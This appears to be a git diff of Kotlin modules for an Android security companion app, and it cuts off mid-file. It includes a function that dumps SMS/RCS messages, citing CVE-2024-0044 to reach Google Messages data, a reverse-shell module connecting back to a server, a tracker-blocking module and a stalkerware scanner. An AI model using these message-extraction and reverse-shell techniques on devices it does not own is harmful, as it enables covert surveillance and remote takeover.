tools + * + * As a fallback, we use the standard telephony content providers which + * have the SMS/MMS data in plaintext (but not RCS). + */ + fun dumpDecryptedMessages(): Map { + val result = mutableMapOf() + val messages = mutableListOf>() + + // Method 1: Query AOSP RCS content provider (content://rcs/) + val rcsThreads = executeCommand( + "content query --uri content://rcs/thread 2>/dev/null" + ) + if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) { + result["rcs_provider_accessible"] = true + // Parse thread IDs and query messages from each + for (line in rcsThreads.lines()) { + if (!line.startsWith("Row:")) continue + val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line) + val tid = tidMatch?.groupValues?.get(1) ?: continue + val msgOutput = executeCommand( + "content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null" + ) + for (msgLine in msgOutput.lines()) { + if (!msgLine.startsWith("Row:")) continue + val row = parseContentRow(msgLine) + row["thread_id"] = tid + row["source"] = "rcs_provider" + messages.add(row) + } + } + } else { + result["rcs_provider_accessible"] = false + } + + // Method 2: Standard SMS/MMS content providers (always decrypted) + val smsOutput = executeCommand( + "content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " + + "--sort \"date DESC\" 2>/dev/null" + ) + for (line in smsOutput.lines()) { + if (!line.startsWith("Row:")) continue + val row = parseContentRow(line) + row["source"] = "sms_provider" + row["protocol"] = "SMS" + messages.add(row) + } + + // Method 3: Try to trigger Google Messages backup/export + // Google Messages has an internal export mechanism accessible via intents + val backupResult = executeCommand( + "am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " + + "--es output_path $stagingDir/gmsg_export.json 2>/dev/null" + ) + result["backup_intent_sent"] = !backupResult.startsWith("ERROR") + + result["messages"] = messages + result["message_count"] = messages.size + result["note"] = if (messages.isEmpty()) { + "No messages retrieved. For RCS, ensure Archon is the default SMS app " + + "or use CVE-2024-0044 to access bugle_db from the app's UID." + } else { + "Retrieved ${messages.size} messages. RCS messages require elevated access." + } + + // Write decrypted dump to file + if (messages.isNotEmpty()) { + try { + val json = org.json.JSONArray() + for (msg in messages) { + val obj = org.json.JSONObject() + for ((k, v) in msg) obj.put(k, v) + json.put(obj) + } + executeCommand("mkdir -p $stagingDir") + val jsonStr = json.toString(2) + // Write via shell since we may not have direct file access + val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"") + executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null") + result["json_path"] = "$stagingDir/messages.json" + } catch (e: Exception) { + Log.e(TAG, "Failed to write JSON dump", e) + } + } + + return result + } + + /** + * Get the RCS account/registration info from Google Messages. + * This tells us if RCS is active, what phone number is registered, etc. + */ + fun getRcsAccountInfo(): Map { + val info = mutableMapOf() + + // IMS registration state + val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null") + if (!imsOutput.startsWith("ERROR")) { + info["ims_dump_length"] = imsOutput.length + for (line in imsOutput.lines()) { + val l = line.trim().lowercase() + if ("registered" in l && "ims" in l) info["ims_registered"] = true + if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true + } + } + + // Carrier config RCS keys + val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null") + val rcsConfig = mutableMapOf() + for (line in ccOutput.lines()) { + val l = line.trim().lowercase() + if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) { + val (k, v) = line.trim().split("=", limit = 2) + rcsConfig[k.trim()] = v.trim() + } + } + info["carrier_rcs_config"] = rcsConfig + + // Google Messages specific RCS settings + val gmsgPrefs = executeCommand( + "cat /data/data/$gmsgPkg/shared_prefs/com.google.android.apps.messaging_preferences.xml 2>/dev/null" + ) + if (!gmsgPrefs.startsWith("ERROR") && gmsgPrefs.isNotBlank()) { + // Extract RCS-related prefs + val rcsPrefs = mutableMapOf() + for (match in Regex("<(string|boolean|int|long)\\s+name=\"([^\"]*rcs[^\"]*)\">([^<]*)<").findAll(gmsgPrefs, 0)) { + rcsPrefs[match.groupValues[2]] = match.groupValues[3] + } + info["gmsg_rcs_prefs"] = rcsPrefs + } + + // Phone number / MSISDN + val phoneOutput = executeCommand("service call iphonesubinfo 15 2>/dev/null") + info["phone_service_response"] = phoneOutput.take(200) + + // Google Messages version + info["google_messages"] = getGoogleMessagesInfo() + + return info + } + + /** + * Parse a `content query` output row into a map. + */ + private fun parseContentRow(line: String): MutableMap { + val row = mutableMapOf() + val payload = line.substringAfter(Regex("Row:\\s*\\d+\\s*").find(line)?.value ?: "") + val fields = payload.split(Regex(",\\s+(?=[a-zA-Z_]+=)")) + for (field in fields) { + val eqPos = field.indexOf('=') + if (eqPos == -1) continue + val key = field.substring(0, eqPos).trim() + val value = field.substring(eqPos + 1).trim() + row[key] = if (value == "NULL") "" else value + } + return row + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt new file mode 100644 index 0000000..bfe7afc --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt @@ -0,0 +1,38 @@ +package com.darkhal.archon.module + +import android.content.Context + +/** + * Interface for Archon extension modules. + * Modules provide security/privacy actions that run through PrivilegeManager. + */ +interface ArchonModule { + val id: String + val name: String + val description: String + val version: String + + fun getActions(): List + fun executeAction(actionId: String, context: Context): ModuleResult + fun getStatus(context: Context): ModuleStatus +} + +data class ModuleAction( + val id: String, + val name: String, + val description: String, + val privilegeRequired: Boolean = true, + val rootOnly: Boolean = false +) + +data class ModuleResult( + val success: Boolean, + val output: String, + val details: List = emptyList() +) + +data class ModuleStatus( + val active: Boolean, + val summary: String, + val details: Map = emptyMap() +) diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt new file mode 100644 index 0000000..deb24a6 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt @@ -0,0 +1,330 @@ +package com.darkhal.archon.module + +import android.content.Context +import com.darkhal.archon.util.PrivilegeManager + +/** + * Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints. + * Ported from AUTARCH core/android_protect.py honeypot section. + * + * Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics + * Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data + * Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity + */ +class HoneypotModule : ArchonModule { + + override val id = "honeypot" + override val name = "Tracking Honeypot" + override val description = "Block trackers & fake device fingerprint data" + override val version = "1.0" + + // Well-known tracker packages + private val knownTrackers = listOf( + "com.google.android.gms", // Google Play Services (partial) + "com.facebook.katana", // Facebook + "com.facebook.orca", // Messenger + "com.instagram.android", // Instagram + "com.zhiliaoapp.musically", // TikTok + "com.twitter.android", // Twitter/X + "com.snapchat.android", // Snapchat + "com.amazon.mShop.android.shopping", // Amazon + ) + + override fun getActions(): List = listOf( + // Tier 1: ADB-level, no root + ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"), + ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"), + ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"), + ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"), + ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"), + ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"), + + // Tier 2: ADB-level, app-specific + ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"), + ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"), + ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"), + + // Tier 3: Root only + ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true), + ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true), + ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when (actionId) { + "reset_ad_id" -> resetAdId() + "opt_out_tracking" -> optOutTracking() + "set_private_dns" -> setPrivateDns() + "disable_scanning" -> disableScanning() + "disable_diagnostics" -> disableDiagnostics() + "harden_all" -> hardenAll() + "restrict_trackers" -> restrictTrackers() + "revoke_tracker_perms" -> revokeTrackerPerms() + "force_stop_trackers" -> forceStopTrackers() + "deploy_hosts" -> deployHostsBlocklist() + "setup_iptables" -> setupIptablesRedirect() + "randomize_identity" -> randomizeIdentity() + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + val method = PrivilegeManager.getAvailableMethod() + val tier = when (method) { + PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)" + PrivilegeManager.Method.ARCHON_SERVER, + PrivilegeManager.Method.LOCAL_ADB, + PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)" + PrivilegeManager.Method.NONE -> "Unavailable" + } + return ModuleStatus( + active = method != PrivilegeManager.Method.NONE, + summary = "Available: $tier" + ) + } + + // ── Tier 1: ADB-level, system-wide ────────────────────────────── + + private fun resetAdId(): ModuleResult { + val cmds = listOf( + "settings delete secure advertising_id", + "settings put secure limit_ad_tracking 1", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Advertising ID reset, tracking limited" + ) + } + + private fun optOutTracking(): ModuleResult { + val cmds = listOf( + "settings put secure limit_ad_tracking 1", + "settings put global are_app_usage_stats_enabled 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Ad tracking opt-out enabled" + ) + } + + private fun setPrivateDns(): ModuleResult { + val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers + val cmds = listOf( + "settings put global private_dns_mode hostname", + "settings put global private_dns_specifier $provider", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Private DNS set to $provider (tracker blocking)" + ) + } + + private fun disableScanning(): ModuleResult { + val cmds = listOf( + "settings put global wifi_scan_always_enabled 0", + "settings put global ble_scan_always_enabled 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "WiFi/BLE background scanning disabled" + ) + } + + private fun disableDiagnostics(): ModuleResult { + val cmds = listOf( + "settings put global send_action_app_error 0", + "settings put secure send_action_app_error 0", + "settings put global upload_apk_enable 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Diagnostics and crash reporting disabled" + ) + } + + private fun hardenAll(): ModuleResult { + val actions = listOf( + "Ad ID" to ::resetAdId, + "Tracking" to ::optOutTracking, + "DNS" to ::setPrivateDns, + "Scanning" to ::disableScanning, + "Diagnostics" to ::disableDiagnostics, + ) + val details = mutableListOf() + var success = true + for ((name, action) in actions) { + val result = action() + details.add("$name: ${result.output}") + if (!result.success) success = false + } + return ModuleResult( + success = success, + output = "Applied ${actions.size} Tier 1 protections", + details = details + ) + } + + // ── Tier 2: ADB-level, app-specific ───────────────────────────── + + private fun restrictTrackers(): ModuleResult { + val details = mutableListOf() + var restricted = 0 + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (check.stdout.contains(pkg)) { + val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny") + if (r.exitCode == 0) { + restricted++ + details.add("Restricted: $pkg") + } + } + } + return ModuleResult( + success = true, + output = "$restricted tracker(s) restricted from background", + details = details + ) + } + + private fun revokeTrackerPerms(): ModuleResult { + val dangerousPerms = listOf( + "android.permission.ACCESS_FINE_LOCATION", + "android.permission.ACCESS_COARSE_LOCATION", + "android.permission.READ_PHONE_STATE", + "android.permission.READ_CONTACTS", + "android.permission.RECORD_AUDIO", + "android.permission.CAMERA", + ) + val details = mutableListOf() + var totalRevoked = 0 + + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (!check.stdout.contains(pkg)) continue + + var pkgRevoked = 0 + for (perm in dangerousPerms) { + val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null") + if (r.exitCode == 0) pkgRevoked++ + } + if (pkgRevoked > 0) { + totalRevoked += pkgRevoked + details.add("$pkg: revoked $pkgRevoked permissions") + } + } + return ModuleResult( + success = true, + output = "Revoked $totalRevoked permissions from trackers", + details = details + ) + } + + private fun forceStopTrackers(): ModuleResult { + val details = mutableListOf() + var stopped = 0 + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (check.stdout.contains(pkg)) { + PrivilegeManager.execute("am force-stop $pkg") + stopped++ + details.add("Stopped: $pkg") + } + } + return ModuleResult( + success = true, + output = "$stopped tracker(s) force-stopped", + details = details + ) + } + + // ── Tier 3: Root only ─────────────────────────────────────────── + + private fun deployHostsBlocklist(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for hosts file modification") + } + + val trackerDomains = listOf( + "graph.facebook.com", "pixel.facebook.com", "an.facebook.com", + "analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com", + "analytics.tiktok.com", "log.byteoversea.com", + "graph.instagram.com", + "ads-api.twitter.com", "analytics.twitter.com", + "tr.snapchat.com", "sc-analytics.appspot.com", + ) + + val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" } + val cmds = listOf( + "mount -o remount,rw /system 2>/dev/null || true", + "cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true", + "echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts", + "mount -o remount,ro /system 2>/dev/null || true", + ) + + for (cmd in cmds) { + PrivilegeManager.execute(cmd) + } + + return ModuleResult( + success = true, + output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts" + ) + } + + private fun setupIptablesRedirect(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for iptables") + } + + val cmds = listOf( + "iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true", + "iptables -t nat -F AUTARCH_HONEYPOT", + // Redirect known tracker IPs to localhost (honeypot) + "iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443", + "iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443", + "iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT", + ) + + val details = mutableListOf() + for (cmd in cmds) { + val r = PrivilegeManager.execute(cmd) + if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}") + } + + return ModuleResult( + success = true, + output = "Iptables honeypot chain configured", + details = details + ) + } + + private fun randomizeIdentity(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for identity randomization") + } + + val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("") + val cmds = listOf( + "settings put secure android_id $randomId", + "settings delete secure advertising_id", + "settings put secure limit_ad_tracking 1", + ) + + val details = mutableListOf() + for (cmd in cmds) { + val r = PrivilegeManager.execute(cmd) + details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}") + } + + return ModuleResult( + success = true, + output = "Identity randomized (android_id=$randomId)", + details = details + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt new file mode 100644 index 0000000..5605898 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt @@ -0,0 +1,41 @@ +package com.darkhal.archon.module + +import android.content.Context +import android.util.Log + +/** + * Central registry for Archon modules. + * Modules register at init time and can be discovered/invoked by the UI. + */ +object ModuleManager { + + private const val TAG = "ModuleManager" + private val modules = mutableListOf() + private var initialized = false + + fun init() { + if (initialized) return + register(ShieldModule()) + register(HoneypotModule()) + register(ReverseShellModule()) + initialized = true + Log.i(TAG, "Initialized with ${modules.size} modules") + } + + fun register(module: ArchonModule) { + if (modules.none { it.id == module.id }) { + modules.add(module) + Log.i(TAG, "Registered module: ${module.id} (${module.name})") + } + } + + fun getAll(): List = modules.toList() + + fun get(id: String): ArchonModule? = modules.find { it.id == id } + + fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult { + val module = get(moduleId) + ?: return ModuleResult(false, "Module not found: $moduleId") + return module.executeAction(actionId, context) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt new file mode 100644 index 0000000..edc7c58 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt @@ -0,0 +1,274 @@ +package com.darkhal.archon.module + +import android.content.Context +import android.util.Log +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.PrefsManager +import java.io.BufferedReader +import java.io.InputStreamReader +import java.io.OutputStreamWriter +import java.io.PrintWriter +import java.net.InetSocketAddress +import java.net.Socket +import java.util.UUID + +/** + * Reverse Shell module — connects back to the AUTARCH server for remote device management. + * + * SAFETY GATES: + * 1. Disabled by default — must be explicitly enabled + * 2. Three warning prompts before enabling (enforced in UI) + * 3. Kill switch — disconnect at any time from app or by force-stopping + * 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log + * 5. Auto-timeout — connection drops after configurable time (default 30 min) + * 6. Server verification — only connects to configured AUTARCH server IP + * 7. Token auth — random token per session + * + * The shell process (ArchonShell.java) runs via app_process at UID 2000, + * same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener. + */ +class ReverseShellModule : ArchonModule { + + override val id = "revshell" + override val name = "Reverse Shell" + override val description = "Remote shell connection to AUTARCH server for device investigation" + override val version = "1.0" + + companion object { + private const val TAG = "ReverseShellModule" + private const val PREFS_NAME = "archon_revshell" + private const val KEY_ENABLED = "revshell_enabled" + private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted" + private const val KEY_PORT = "revshell_port" + private const val KEY_TIMEOUT = "revshell_timeout_min" + private const val KEY_SESSION_TOKEN = "revshell_session_token" + private const val DEFAULT_PORT = 17322 + private const val DEFAULT_TIMEOUT = 30 // minutes + private const val SHELL_PROCESS_NAME = "archon_shell" + + // Warning messages shown before enabling (UI enforces showing all 3) + val WARNINGS = listOf( + "This enables a reverse shell connection to your AUTARCH server. " + + "This gives remote shell access (UID 2000) to this device.", + "Only enable this on devices YOU own. Never enable on someone else's device. " + + "This is a defensive tool for investigating threats on your own phone.", + "The reverse shell will connect to your configured AUTARCH server. " + + "You can disable it at any time from this screen or by force-stopping the app." + ) + } + + override fun getActions(): List = listOf( + ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false), + ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false), + ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"), + ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"), + ModuleAction("status", "Status", "Check connection status", privilegeRequired = false), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when (actionId) { + "enable" -> enable(context) + "disable" -> disable(context) + "connect" -> connect(context) + "disconnect" -> disconnect(context) + "status" -> status(context) + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val enabled = prefs.getBoolean(KEY_ENABLED, false) + val connected = isShellRunning() + + val summary = when { + connected -> "Connected to AUTARCH" + enabled -> "Enabled — not connected" + else -> "Disabled" + } + + return ModuleStatus( + active = connected, + summary = summary, + details = mapOf( + "enabled" to enabled.toString(), + "connected" to connected.toString(), + "port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(), + "timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min" + ) + ) + } + + // ── Actions ───────────────────────────────────────────────────── + + private fun enable(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + // Check if warnings were accepted (UI sets this after showing all 3) + if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) { + return ModuleResult( + false, + "Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.", + WARNINGS + ) + } + + prefs.edit().putBoolean(KEY_ENABLED, true).apply() + Log.i(TAG, "Reverse shell ENABLED") + return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.") + } + + private fun disable(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + // Kill any active shell first + if (isShellRunning()) { + killShell() + } + + prefs.edit() + .putBoolean(KEY_ENABLED, false) + .putBoolean(KEY_WARNING_ACCEPTED, false) + .remove(KEY_SESSION_TOKEN) + .apply() + + Log.i(TAG, "Reverse shell DISABLED") + return ModuleResult(true, "Reverse shell disabled. All connections terminated.") + } + + private fun connect(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + if (!prefs.getBoolean(KEY_ENABLED, false)) { + return ModuleResult(false, "Reverse shell is disabled. Enable it first.") + } + + if (isShellRunning()) { + return ModuleResult(false, "Shell is already connected. Disconnect first.") + } + + // Get server IP from main prefs + val serverIp = PrefsManager.getServerIp(context) + if (serverIp.isEmpty()) { + return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.") + } + + val port = prefs.getInt(KEY_PORT, DEFAULT_PORT) + val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT) + + // Generate session token + val token = UUID.randomUUID().toString().replace("-", "").take(32) + prefs.edit().putString(KEY_SESSION_TOKEN, token).apply() + + // Get APK path for app_process bootstrap + val apkPath = context.applicationInfo.sourceDir + if (apkPath.isNullOrEmpty()) { + return ModuleResult(false, "Could not determine APK path") + } + + // Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs) + val bootstrapCmd = buildString { + append("TMPDIR=/data/local/tmp ") + append("CLASSPATH='$apkPath' ") + append("/system/bin/app_process /system/bin ") + append("com.darkhal.archon.server.ArchonShell ") + append("$serverIp $port $token $timeout") + } + + val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started" + + Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)") + + // Execute via LocalAdbClient (same as ArchonServer bootstrap) + val result = if (LocalAdbClient.isConnected()) { + LocalAdbClient.execute(fullCmd) + } else { + return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first") + } + + if (result.exitCode != 0 && !result.stdout.contains("started")) { + return ModuleResult(false, "Failed to start shell: ${result.stderr}") + } + + // Wait briefly for connection to establish + Thread.sleep(2000) + + return if (isShellRunning()) { + ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)") + } else { + ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.") + } + } + + private fun disconnect(context: Context): ModuleResult { + if (!isShellRunning()) { + return ModuleResult(true, "No active shell connection") + } + + killShell() + context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + .edit().remove(KEY_SESSION_TOKEN).apply() + + Thread.sleep(500) + return if (!isShellRunning()) { + ModuleResult(true, "Shell disconnected") + } else { + ModuleResult(false, "Shell process may still be running — try force-stopping the app") + } + } + + private fun status(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val enabled = prefs.getBoolean(KEY_ENABLED, false) + val connected = isShellRunning() + val serverIp = PrefsManager.getServerIp(context) + val port = prefs.getInt(KEY_PORT, DEFAULT_PORT) + val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT) + + val details = mutableListOf() + details.add("Enabled: $enabled") + details.add("Connected: $connected") + details.add("Server: $serverIp:$port") + details.add("Timeout: ${timeout} minutes") + + if (connected) { + // Try to read the log tail + val logTail = try { + val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null")) + p.inputStream.bufferedReader().readText().trim() + } catch (e: Exception) { "" } + if (logTail.isNotEmpty()) { + details.add("--- Recent log ---") + details.add(logTail) + } + } + + return ModuleResult( + success = true, + output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled", + details = details + ) + } + + // ── Internal ──────────────────────────────────────────────────── + + private fun isShellRunning(): Boolean { + return try { + val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME")) + val output = process.inputStream.bufferedReader().readText().trim() + process.waitFor() + output.isNotEmpty() + } catch (e: Exception) { + false + } + } + + private fun killShell() { + try { + Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME")) + Log.i(TAG, "Killed reverse shell process") + } catch (e: Exception) { + Log.e(TAG, "Failed to kill shell", e) + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt new file mode 100644 index 0000000..55aef56 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt @@ -0,0 +1,319 @@ +package com.darkhal.archon.module + +import android.content.Context +import com.darkhal.archon.util.PrivilegeManager + +/** + * Protection Shield module — scans for and removes stalkerware/spyware. + * Ported from AUTARCH core/android_protect.py. + * + * All commands run through PrivilegeManager → ArchonServer (UID 2000). + */ +class ShieldModule : ArchonModule { + + override val id = "shield" + override val name = "Protection Shield" + override val description = "Scan & remove stalkerware, spyware, and surveillance tools" + override val version = "1.0" + + // Known stalkerware/spyware package patterns + private val stalkerwarePatterns = listOf( + "mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy", + "pctattoetool", "thewispy", "umobix", "xnspy", "cerberus", + "trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor", + "gps.tracker.spy", "spyapp", "phonetracker", "stalkerware", + "keylogger", "screenrecorder.secret", "hidden.camera", + "com.android.providers.telephony.backup", // Fake system package + "com.system.service", "com.android.system.manager", // Common disguises + ) + + // Suspicious permissions that stalkerware typically uses + private val suspiciousPerms = listOf( + "android.permission.READ_CALL_LOG", + "android.permission.READ_SMS", + "android.permission.READ_CONTACTS", + "android.permission.RECORD_AUDIO", + "android.permission.CAMERA", + "android.permission.ACCESS_FINE_LOCATION", + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.BIND_ACCESSIBILITY_SERVICE", + "android.permission.BIND_DEVICE_ADMIN", + "android.permission.PACKAGE_USAGE_STATS", + "android.permission.SYSTEM_ALERT_WINDOW", + ) + + override fun getActions(): List = listOf( + ModuleAction("full_scan", "Full Scan", "Run all security scans"), + ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"), + ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"), + ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"), + ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"), + ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"), + ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"), + ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"), + ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"), + ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"), + ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"), + ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"), + ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when { + actionId == "full_scan" -> fullScan(context) + actionId == "scan_packages" -> scanPackages() + actionId == "scan_permissions" -> scanPermissions() + actionId == "scan_device_admins" -> scanDeviceAdmins() + actionId == "scan_accessibility" -> scanAccessibility() + actionId == "scan_certificates" -> scanCertificates() + actionId == "scan_network" -> scanNetwork() + actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:") + actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:") + actionId == "clear_proxy" -> clearProxy() + actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":")) + actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":")) + actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":")) + actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":")) + actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":")) + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + return ModuleStatus( + active = PrivilegeManager.isReady(), + summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup" + ) + } + + // ── Scan actions ──────────────────────────────────────────────── + + private fun fullScan(context: Context): ModuleResult { + val results = mutableListOf() + var threats = 0 + + val scans = listOf( + "Packages" to ::scanPackages, + "Permissions" to ::scanPermissions, + "Device Admins" to 